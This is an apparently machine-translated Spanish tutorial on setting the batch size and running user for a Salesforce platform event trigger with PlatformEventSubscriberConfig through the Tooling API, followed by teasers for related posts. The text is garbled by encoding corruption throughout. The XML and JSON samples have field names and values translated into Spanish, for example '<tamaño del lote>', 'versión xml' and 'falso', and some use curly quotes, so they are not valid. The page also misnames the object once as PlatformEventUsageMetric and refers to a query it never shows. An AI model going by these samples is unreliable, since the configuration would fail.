Configurar el tama帽o de lote para el activador de eventos de plataforma

脷ltima actualizaci贸n el 30 de abril de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • 驴C贸mo configurar el usuario y el tama帽o del lote para Platform Event Trigger?

Objetivos:

Despu茅s de leer este blog, podr谩:

  • Comprender el tama帽o del lote para el activador de eventos de la plataforma
  • Anular el usuario de ejecuci贸n predeterminado para el desencadenador de eventos de la plataforma
  • Cree PlatformEventSubscriberConfig a trav茅s de la API REST
  • y mucho m谩s

Jestilla Zetkin trabaja como arquitecta de Salesforce en Gurukul On Cloud (GoC) . Recientemente, enfrent贸 desaf铆os mientras trabajaba con eventos de plataforma, principalmente l铆mites de gobernadores. Quiere aprender a configurar el tama帽o del lote para el activador de eventos de la plataforma. En este ejercicio, configuraremos el tama帽o del lote para lo siguiente:

  1. Activador de v茅rtice
    1. LeadGenerationEventTrigger en Lead_Generation__e
    2. Tama帽o del lote: 50
    3. Usuario ejecutor: Usuario de integraci贸n

驴Qu茅 es Plataforma de Eventos?

Las arquitecturas basadas en eventos se han vuelto muy populares en los 煤ltimos a帽os, y por una buena raz贸n. Se basa en el patr贸n de fuego y olvido . Activar un evento y dejar que cada sistema maneje la l贸gica empresarial le permite mantener los sistemas no relacionados desacoplados y puede ayudar a simplificar la arquitectura.

Los eventos de la plataforma le permiten entregar notificaciones de eventos seguras, escalables y personalizables dentro de Salesforce o desde fuentes externas. Las aplicaciones pueden publicar y suscribirse a eventos de plataforma en la plataforma de Salesforce mediante Apex, Flow o en un sistema externo mediante CometD. Si desea obtener m谩s informaci贸n sobre el evento de plataforma, consulte el m贸dulo de Trailhead .

驴Cu谩l es el tama帽o de lote predeterminado para el desencadenador de eventos de plataforma?

De forma predeterminada, el disparador de eventos de la plataforma se ejecuta como el usuario del sistema de procesos automatizados con un tama帽o de lote de 2000 mensajes de eventos. A veces es necesario cambiar el usuario y el tama帽o del lote para eludir los l铆mites del gobernador u otros desaf铆os.

Salesforce le permite anular el usuario de ejecuci贸n predeterminado y el tama帽o de lote de un desencadenador de Apex de evento de plataforma con PlatformEventSubscriberConfig en la API de herramientas o la API de metadatos para configurar el desencadenador.

Puede especificar cualquier usuario activo en la organizaci贸n de Salesforce. El activador se ejecuta en un contexto de sistema con privilegios para acceder a todos los registros independientemente de los permisos de nivel de campo y de objeto del usuario. Puede especificar un tama帽o de lote personalizado de 1 a 2000. El tama帽o del lote es el n煤mero m谩ximo de mensajes de eventos que se pueden enviar a un disparador en una ejecuci贸n.

Comprender el objeto PlatformEventSubscriberConfig

Hagamos una pausa aqu铆, familiar铆cese con el objeto de la API de herramientas PlatformEventUsageMetric en Salesforce. Representa los ajustes de configuraci贸n para un disparador de Apex de evento de plataforma, incluido el tama帽o del lote y el usuario que ejecuta el disparador.

Nombre del campo
Detalles
Tama帽o del lote Un tama帽o de lote personalizado, de 1 a 2000, para el desencadenador Apex del evento de plataforma. El tama帽o del lote corresponde al n煤mero m谩ximo de mensajes de eventos que se pueden enviar a un disparador en una ejecuci贸n. El tama帽o de lote predeterminado es 2000 para activadores de eventos de plataforma.
Nombre del desarrollador El nombre exclusivo del objeto PlatformEventSubscriberConfig.
etiqueta maestra Etiqueta para PlatformEventSubscriberConfig. En la interfaz de usuario, este campo es Configuraci贸n de suscriptor de eventos de plataforma.
PlatformEventConsumerId El ID del desencadenador de Apex del evento de plataforma que se va a configurar.
ID de usuario El ID del usuario con el que se ejecuta el desencadenador de Apex del evento de plataforma. De forma predeterminada, el disparador de eventos de la plataforma se ejecuta como la entidad de proceso automatizado. Establecer el usuario que ejecuta a un usuario espec铆fico tiene estos beneficios:

  • Los registros se crean o modifican como este usuario.
  • Los registros con campos OwnerId tienen sus campos OwnerId completados para este usuario cuando se crean o modifican.
  • Este usuario crea los registros de depuraci贸n para la ejecuci贸n del disparador.
  • Puede enviar un correo electr贸nico desde el activador, que no es compatible con el usuario de Proceso automatizado predeterminado.

Los componentes PlatformEventSubscriberConfig tienen el sufijo .platformEventSubscriberConfig y se almacenan en la carpeta PlatformEventSubscriberConfigs .

Este componente PlatformEventSubscriberConfig tiene la etiqueta LeadGenerationEventTriggerConfig . Contiene la configuraci贸n de un disparador de eventos de plataforma, LeadGenerationTrigger , y especifica el tama帽o del lote y el usuario.


<?versi贸n xml="1.0" codificaci贸n="UTF-8"?>
<PlatformEventSubscriberConfig xmlns="http://soap.sforce.com/2006/04/metadatos"> <platformEventConsumer>LeadGenerationTrigger</platformEventConsumer> <tama帽o del lote>50</tama帽o del lote> <masterLabel>LeadGenerationEventTriggerConfig</masterLabel> <usuario>desarrollador@automationchampion.com</usuario> <isProtected>falso</isProtected>
</PlatformEventSubscriberConfig>

Pr谩ctica guiada (nosotros hacemos):

Para agregar una configuraci贸n, realice una solicitud POST como se menciona a continuaci贸n:

  1. Abra Workbench e inicie sesi贸n con su nombre de usuario y contrase帽a de Trailhead Playground .
  2. Aseg煤rese de haber seleccionado la opci贸n Producci贸n para el medio ambiente .
  3. Navegue a la pesta帽a Utilidades y seleccione la opci贸n REST Explorer .
  4. Selecciona las siguientes opciones:
    1. Elija un m茅todo HTTP para realizar en el URI del servicio REST API a continuaci贸n : POST
    2. URL : /services/data/v58.0/tooling/sobjects/PlatformEventSubscriberConfig
    3. Cuerpo : proporcione los valores en el cuerpo de la solicitud. Esta solicitud de ejemplo configura un activador existente con un tama帽o de lote de 50 y especifica el ID de un usuario en ejecuci贸n.
      1. {
        "Tama帽o del lote": "50",
        鈥淣ombre del desarrollador鈥:鈥滾eadGenerationEventTriggerConfig鈥,
        鈥淢asterLabel鈥:鈥滾eadGenerationEventTriggerConfig鈥,
        鈥淧latformEventConsumerId鈥: 鈥01qB0000000Zcug鈥,
        鈥淚D de usuario鈥: 鈥005B00000015gt8鈥
        }
      2. D贸nde:
        1. 01qB0000000Zcug, disparador de Apex en Lead_Generation__e
        2. 005B00000015gt8, es el ID de usuario del usuario de integraci贸n
    4. Haga clic en Ejecutar .
  5. Puede consultar y recuperar las configuraciones en su organizaci贸n con SOQL. Si consulta desde Developer Console Query Editor, aseg煤rese de seleccionar Use Tooling API . Esta consulta de ejemplo recupera todas las configuraciones establecidas en su organizaci贸n de Salesforce.

Evaluaci贸n formativa:

隆Quiero saber de ti!

驴Qu茅 es una cosa que aprendiste de esta publicaci贸n? 驴C贸mo imagina aplicar este nuevo conocimiento en el mundo real? Si茅ntase libre de compartir en los comentarios a continuaci贸n.

Seguir leyendo

Prepare su aplicaci贸n para pasar la revisi贸n de seguridad de AppExchange 鈽侊笍

Prepare su aplicaci贸n para pasar la revisi贸n de seguridad de AppExchange 鈽侊笍

Esta gu铆a se public贸 originalmente en Medium en 2021 y se actualiz贸 con la orientaci贸n y los consejos m谩s recientes, incluidas las nuevas funciones de seguridad como parte de los lanzamientos recientes y la nueva estructura de precios para las revisiones.

La publicaci贸n Prepare su aplicaci贸n para pasar la revisi贸n de seguridad de AppExchange apareci贸 primero en el blog de desarrolladores de Salesforce .

Seguir leyendo

Mejore la disponibilidad en su organizaci贸n 鈽侊笍

Est茅 atento a estos antipatrones comunes y utilice estas estrategias para evitarlos y mejorar la disponibilidad en su organizaci贸n.

La publicaci贸n Mejore la disponibilidad en su organizaci贸n apareci贸 por primera vez en el blog de desarrolladores de Salesforce .

Seguir leyendo

Ahora en Pilot: adaptador de cable GraphQL para LWC 鈽侊笍

El adaptador de cable GraphQL est谩 en fase piloto a partir de la versi贸n Spring '23. Descubra c贸mo hace que acceder a los datos de los LWC sea m谩s f谩cil que nunca.

La publicaci贸n Now in Pilot: GraphQL Wire Adapter for LWC apareci贸 primero en el blog de desarrolladores de Salesforce .

Seguir leyendo

Adaptador Salesforce Connect para GraphQL: 隆ahora en versi贸n piloto! 鈽侊笍

Nuestro nuevo adaptador Salesforce Connect para GraphQL ahora est谩 en fase piloto, lo que abre nuevas posibilidades para la interoperabilidad entre Salesforce y AWS.

La publicaci贸n Adaptador Salesforce Connect para GraphQL: 隆ahora en versi贸n piloto! apareci贸 por primera vez en el blog de desarrolladores de Salesforce .

Seguir leyendo